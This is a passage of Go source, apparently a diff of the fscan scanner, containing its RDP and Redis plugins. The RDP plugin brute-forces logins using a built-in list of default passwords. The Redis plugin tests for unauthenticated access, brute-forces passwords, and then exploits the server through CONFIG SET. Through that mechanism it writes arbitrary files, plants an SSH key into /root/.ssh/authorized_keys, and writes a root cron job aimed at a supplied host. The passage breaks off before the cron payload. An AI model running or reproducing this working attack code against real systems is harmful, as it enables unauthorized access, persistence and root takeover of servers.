"github.com/shadow1ng/fscan/mylib/grdp/protocol/x224"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// RDPPlugin RDP远程桌面服务扫描插件 - 真实RDP认证和系统指纹识别
|
||||
type RDPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewRDPPlugin 创建RDP插件
|
||||
func NewRDPPlugin() *RDPPlugin {
|
||||
return &RDPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("rdp"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行RDP扫描 - 系统指纹识别 + 真实暴力破解
|
||||
func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 配置grdp日志级别
|
||||
login.LogLever = glog.NONE // 静默模式,避免干扰输出
|
||||
|
||||
// 配置代理
|
||||
if config.Network.Socks5Proxy != "" {
|
||||
login.Socks5Proxy = config.Network.Socks5Proxy
|
||||
}
|
||||
|
||||
// 生成测试凭据(提前生成,用于判断是否为单一凭据测试)
|
||||
credentials := GenerateCredentials("rdp", config)
|
||||
|
||||
// 判断是否为单一凭据测试模式(只有1个凭据时跳过指纹识别)
|
||||
isSingleCredentialTest := len(credentials) == 1
|
||||
|
||||
var osInfo map[string]any
|
||||
|
||||
// ============================================
|
||||
// 第一阶段:系统指纹识别(无需密码)
|
||||
// 单一凭据测试时跳过此阶段,减少连接次数
|
||||
// ============================================
|
||||
if !isSingleCredentialTest {
|
||||
osInfo = p.probeOSInfo(target, config, state)
|
||||
if len(osInfo) > 0 {
|
||||
p.logOSInfo(target, osInfo)
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 第二阶段:暴力破解
|
||||
// ============================================
|
||||
if config.DisableBrute {
|
||||
// 禁用暴力破解,仅返回服务识别结果
|
||||
if osInfo == nil {
|
||||
osInfo = p.probeOSInfo(target, config, state)
|
||||
if len(osInfo) > 0 {
|
||||
p.logOSInfo(target, osInfo)
|
||||
}
|
||||
}
|
||||
banner := p.buildBanner(osInfo)
|
||||
common.LogSuccess(i18n.Tr("rdp_service", target, banner))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "rdp",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
if len(credentials) == 0 {
|
||||
credentials = []Credential{
|
||||
{Username: "administrator", Password: ""},
|
||||
{Username: "administrator", Password: "administrator"},
|
||||
{Username: "administrator", Password: "password"},
|
||||
{Username: "administrator", Password: "123456"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: "123456"},
|
||||
{Username: "user", Password: "user"},
|
||||
{Username: "test", Password: "test"},
|
||||
}
|
||||
}
|
||||
|
||||
// 获取域名
|
||||
domain := config.Credentials.Domain
|
||||
if domain == "" {
|
||||
// 尝试从OSInfo中提取域名
|
||||
if osInfo != nil {
|
||||
if val, ok := osInfo["NetBIOSDomainName"].(string); ok && val != "" {
|
||||
domain = val
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 逐个测试凭据
|
||||
for _, cred := range credentials {
|
||||
// 检查Context是否被取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
// 真实RDP认证
|
||||
success, err := p.rdpCrack(target, domain, cred.Username, cred.Password, config, state)
|
||||
if success {
|
||||
displayDomain := domain
|
||||
if displayDomain == "" {
|
||||
displayDomain = "WORKGROUP"
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("RDP %s %s\\%s %s", target, displayDomain, cred.Username, cred.Password)
|
||||
common.LogVuln(result)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Service: "rdp",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: p.buildBanner(osInfo),
|
||||
}
|
||||
}
|
||||
|
||||
// 记录失败(仅调试时)
|
||||
if err != nil && strings.Contains(err.Error(), "dial err") {
|
||||
// 端口未开放,直接返回
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("RDP端口未开放"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 所有凭据都失败
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rdp",
|
||||
Error: fmt.Errorf("RDP认证失败"),
|
||||
}
|
||||
}
|
||||
|
||||
// rdpCrack 使用NLA认证验证凭据,不建立完整会话,不会挤掉已登录用户
|
||||
func (p *RDPPlugin) rdpCrack(host, domain, user, password string, config *common.Config, state *common.State) (bool, error) {
|
||||
timeout := int64(config.Timeout.Seconds())
|
||||
|
||||
// 使用NLA仅验证模式:只验证凭据,不建立RDP会话
|
||||
// 这样不会挤掉目标机器上已登录的用户
|
||||
success, err := login.NlaAuth(host, domain, user, password, timeout)
|
||||
if success {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if err != nil && strings.Contains(err.Error(), "dial err") {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return false, err
|
||||
}
|
||||
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return false, err
|
||||
}
|
||||
|
||||
// probeOSInfo 通过NLA协商获取系统信息(无需密码)
|
||||
func (p *RDPPlugin) probeOSInfo(host string, config *common.Config, state *common.State) map[string]any {
|
||||
timeout := int64(config.Timeout.Seconds())
|
||||
client := login.NewClient(host, glog.NONE)
|
||||
|
||||
// 使用 PROTOCOL_HYBRID 协议探测系统信息
|
||||
// NLA握手阶段会返回系统信息,无需完整认证
|
||||
osInfo := client.ProbeOSInfo(host, "", "", "", timeout, x224.PROTOCOL_HYBRID)
|
||||
|
||||
if len(osInfo) > 0 {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
}
|
||||
|
||||
return osInfo
|
||||
}
|
||||
|
||||
// logOSInfo 输出系统信息
|
||||
func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) {
|
||||
var parts []string
|
||||
|
||||
// 提取关键信息
|
||||
hostname := p.extractStringField(osInfo, "NetBIOSComputerName")
|
||||
dnsDomain := p.extractStringField(osInfo, "DNSDomainName")
|
||||
fqdn := p.extractStringField(osInfo, "FQDN")
|
||||
netbiosDomain := p.extractStringField(osInfo, "NetBIOSDomainName")
|
||||
productVersion := p.extractStringField(osInfo, "ProductVersion")
|
||||
osVersion := p.extractStringField(osInfo, "OsVerion")
|
||||
|
||||
// 检查是否获取到有效信息
|
||||
if hostname == "" && dnsDomain == "" && fqdn == "" && netbiosDomain == "" && productVersion == "" && osVersion == "" {
|
||||
return
|
||||
}
|
||||
|
||||
// 构造输出
|
||||
if osVersion != "" {
|
||||
parts = append(parts, fmt.Sprintf("OS:%s", osVersion))
|
||||
}
|
||||
if productVersion != "" {
|
||||
parts = append(parts, fmt.Sprintf("Build:Windows %s", productVersion))
|
||||
}
|
||||
if hostname != "" {
|
||||
parts = append(parts, fmt.Sprintf("Hostname:%s", hostname))
|
||||
}
|
||||
if dnsDomain != "" {
|
||||
parts = append(parts, fmt.Sprintf("DNSDomain:%s", dnsDomain))
|
||||
}
|
||||
if fqdn != "" {
|
||||
parts = append(parts, fmt.Sprintf("FQDN:%s", fqdn))
|
||||
}
|
||||
if netbiosDomain != "" {
|
||||
parts = append(parts, fmt.Sprintf("NetBIOSDomain:%s", netbiosDomain))
|
||||
}
|
||||
|
||||
if len(parts) > 0 {
|
||||
info := fmt.Sprintf("RDP %s [%s]", target, strings.Join(parts, ", "))
|
||||
common.LogSuccess(info)
|
||||
}
|
||||
}
|
||||
|
||||
// buildBanner 构建服务识别Banner
|
||||
func (p *RDPPlugin) buildBanner(osInfo map[string]any) string {
|
||||
if len(osInfo) == 0 {
|
||||
return "RDP远程桌面服务"
|
||||
}
|
||||
|
||||
osVersion := p.extractStringField(osInfo, "OsVerion")
|
||||
hostname := p.extractStringField(osInfo, "NetBIOSComputerName")
|
||||
|
||||
if osVersion != "" && hostname != "" {
|
||||
return fmt.Sprintf("RDP (%s, %s)", osVersion, hostname)
|
||||
} else if osVersion != "" {
|
||||
return fmt.Sprintf("RDP (%s)", osVersion)
|
||||
} else if hostname != "" {
|
||||
return fmt.Sprintf("RDP (Hostname:%s)", hostname)
|
||||
}
|
||||
|
||||
return "RDP远程桌面服务"
|
||||
}
|
||||
|
||||
// extractStringField 安全提取字符串字段
|
||||
func (p *RDPPlugin) extractStringField(osInfo map[string]any, key string) string {
|
||||
if value, exists := osInfo[key]; exists {
|
||||
if strValue, ok := value.(string); ok {
|
||||
return strValue
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("rdp", func() Plugin {
|
||||
return NewRDPPlugin()
|
||||
}, []int{3389})
|
||||
}
|
||||
@@ -0,0 +1,627 @@
|
||||
//go:build plugin_redis || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// RedisPlugin Redis数据库扫描和利用插件
|
||||
type RedisPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewRedisPlugin 创建Redis插件
|
||||
func NewRedisPlugin() *RedisPlugin {
|
||||
return &RedisPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("redis"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Redis扫描
|
||||
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 首先检查未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
|
||||
|
||||
// 如果需要利用,重新建立连接执行
|
||||
if p.shouldExploit(config) {
|
||||
p.exploitWithPassword(ctx, info, "", config)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("redis", config)
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
testConfig.Concurrency = 20 // Redis 默认并发度更高
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
|
||||
|
||||
// 如果成功,记录并执行利用
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet
|
||||
|
||||
// 如果需要利用,重新建立连接执行
|
||||
if p.shouldExploit(config) {
|
||||
p.exploitWithPassword(ctx, info, result.Password, config)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Redis认证函数
|
||||
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doRedisAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doRedisAuth 执行Redis认证
|
||||
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRedisErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 如果有密码,进行认证
|
||||
if cred.Password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password)
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: writeErr,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, readErr := conn.Read(response)
|
||||
if readErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: readErr,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
if !strings.Contains(responseStr, "+OK") {
|
||||
_ = conn.Close()
|
||||
errType := ErrorTypeUnknown
|
||||
if strings.Contains(responseStr, "WRONGPASS") ||
|
||||
strings.Contains(responseStr, "invalid password") ||
|
||||
strings.Contains(responseStr, "ERR AUTH") ||
|
||||
strings.Contains(responseStr, "NOAUTH") {
|
||||
errType = ErrorTypeAuth
|
||||
}
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: errType,
|
||||
Error: fmt.Errorf("redis认证失败: %s", strings.TrimSpace(responseStr)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 发送PING命令测试连接
|
||||
pingCmd := "PING\r\n"
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, pingWriteErr := conn.Write([]byte(pingCmd)); pingWriteErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: pingWriteErr,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, pingReadErr := conn.Read(response)
|
||||
if pingReadErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: pingReadErr,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
if !strings.Contains(responseStr, "PONG") {
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("redis PING测试失败: %s", strings.TrimSpace(responseStr)),
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: conn,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// classifyRedisErrorType Redis错误分类
|
||||
func classifyRedisErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
redisAuthErrors := []string{
|
||||
"wrongpass",
|
||||
"invalid password",
|
||||
"err auth",
|
||||
"noauth authentication required",
|
||||
"认证失败",
|
||||
}
|
||||
|
||||
return ClassifyError(err, redisAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试未授权访问
|
||||
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
emptyCred := Credential{Username: "", Password: ""}
|
||||
|
||||
result := p.doRedisAuth(ctx, info, emptyCred, config, state)
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "redis",
|
||||
VulInfo: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// exploitWithPassword 使用指定密码建立连接并执行利用
|
||||
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, config *common.Config) {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("redis_reconnect_failed", err))
|
||||
return
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 如果有密码,先认证
|
||||
if password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(config.Timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
response := make([]byte, 512)
|
||||
if _, readErr := conn.Read(response); readErr != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
p.exploit(ctx, info, conn, password, config)
|
||||
}
|
||||
|
||||
// identifyService 服务识别
|
||||
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "redis",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 发送PING命令识别
|
||||
pingCmd := "PING\r\n"
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(pingCmd)); writeErr != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "redis",
|
||||
Error: writeErr,
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, readErr := conn.Read(response)
|
||||
if readErr != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "redis",
|
||||
Error: readErr,
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
var banner string
|
||||
|
||||
if strings.Contains(responseStr, "PONG") {
|
||||
banner = "Redis服务 (PONG响应)"
|
||||
} else if strings.Contains(responseStr, "-NOAUTH") {
|
||||
banner = "Redis服务 (需要认证)"
|
||||
} else if strings.Contains(responseStr, "-ERR") {
|
||||
banner = "Redis服务 (协议响应)"
|
||||
} else {
|
||||
banner = "Redis服务"
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "redis",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Redis利用核心函数
|
||||
// =============================================================================
|
||||
|
||||
// shouldExploit 判断是否需要执行利用
|
||||
func (p *RedisPlugin) shouldExploit(config *common.Config) bool {
|
||||
return !config.Redis.Disabled &&
|
||||
(config.Redis.File != "" ||
|
||||
config.Redis.Shell != "" ||
|
||||
(config.Redis.WritePath != "" &&
|
||||
(config.Redis.WriteContent != "" || config.Redis.WriteFile != "")))
|
||||
}
|
||||
|
||||
// exploit 执行Redis漏洞利用
|
||||
func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config) {
|
||||
if config.Redis.Disabled {
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetDeadline(time.Time{})
|
||||
|
||||
dbfilename, dir, err := p.getConfig(conn)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("redis_config_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
// 任意文件写入
|
||||
if config.Redis.WritePath != "" && config.Redis.WriteContent != "" {
|
||||
dirPath := path.Dir(config.Redis.WritePath)
|
||||
fileName := path.Base(config.Redis.WritePath)
|
||||
|
||||
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil {
|
||||
common.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath))
|
||||
}
|
||||
}
|
||||
|
||||
// 从本地文件读取并写入
|
||||
if config.Redis.WritePath != "" && config.Redis.WriteFile != "" {
|
||||
fileContent, readErr := os.ReadFile(config.Redis.WriteFile)
|
||||
if readErr != nil {
|
||||
common.LogError(i18n.Tr("redis_read_failed", readErr))
|
||||
} else {
|
||||
dirPath := path.Dir(config.Redis.WritePath)
|
||||
fileName := path.Base(config.Redis.WritePath)
|
||||
|
||||
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil {
|
||||
common.LogError(i18n.Tr("redis_write_failed", writeErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SSH密钥写入
|
||||
if config.Redis.File != "" {
|
||||
if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil {
|
||||
common.LogError(i18n.Tr("redis_ssh_key_failed", keyErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.GetText("redis_ssh_key_success"))
|
||||
}
|
||||
}
|
||||
|
||||
// 定时任务写入
|
||||
if config.Redis.Shell != "" {
|
||||
if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil {
|
||||
common.LogError(i18n.Tr("redis_cron_failed", cronErr))
|
||||
} else if success {
|
||||
common.LogVuln(i18n.GetText("redis_cron_success"))
|
||||
}
|
||||
}
|
||||
|
||||
// 恢复配置
|
||||
if err = p.recoverDB(dbfilename, dir, conn); err != nil {
|
||||
common.LogError(i18n.Tr("redis_restore_failed", err))
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Redis利用辅助函数
|
||||
// =============================================================================
|
||||
|
||||
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
bytes, err := io.ReadAll(conn)
|
||||
if len(bytes) > 0 {
|
||||
err = nil
|
||||
}
|
||||
return string(bytes), err
|
||||
}
|
||||
|
||||
// sendCmd 发送Redis命令并检查OK响应
|
||||
// 返回响应文本、是否成功、错误
|
||||
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) {
|
||||
if _, err = conn.Write([]byte(cmd)); err != nil {
|
||||
return "", false, err
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
if err != nil {
|
||||
return text, false, err
|
||||
}
|
||||
return text, strings.Contains(text, "OK"), nil
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err := p.readReply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
|
||||
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
text1 = strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dir = text1[len(text1)-2]
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
|
||||
exploitPaths := []string{"/root/.ssh", "/var/spool/cron", "/var/www/html", "/tmp"}
|
||||
for _, exploitPath := range exploitPaths {
|
||||
if strings.HasPrefix(dir, exploitPath) {
|
||||
dir = "/data"
|
||||
dbfilename = "dump.rdb"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) readFile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 写入内容
|
||||
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
|
||||
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
return true, p.truncateText(text), nil
|
||||
}
|
||||
|
||||
// truncateText 截断文本到50字符
|
||||
func (p *RedisPlugin) truncateText(text string) string {
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
return text[:50]
|
||||
}
|
||||
return text
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 读取密钥文件
|
||||
key, err := p.readFile(filename)
|
||||
if err != nil {
|
||||
return false, fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err), err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return false, fmt.Sprintf("密钥文件 %s 为空", filename), nil
|
||||
}
|
||||
|
||||
// 写入密钥
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
return true, p.truncateText(text), nil
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
// 尝试设置cron目录(两个可能的路径)
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n")
|
||||
if err != nil {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
if !ok {
|
||||
// 尝试备用路径
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n")
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return false, "主机地址格式错误", nil
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
|
||||
// 写入cron任务
|
||||
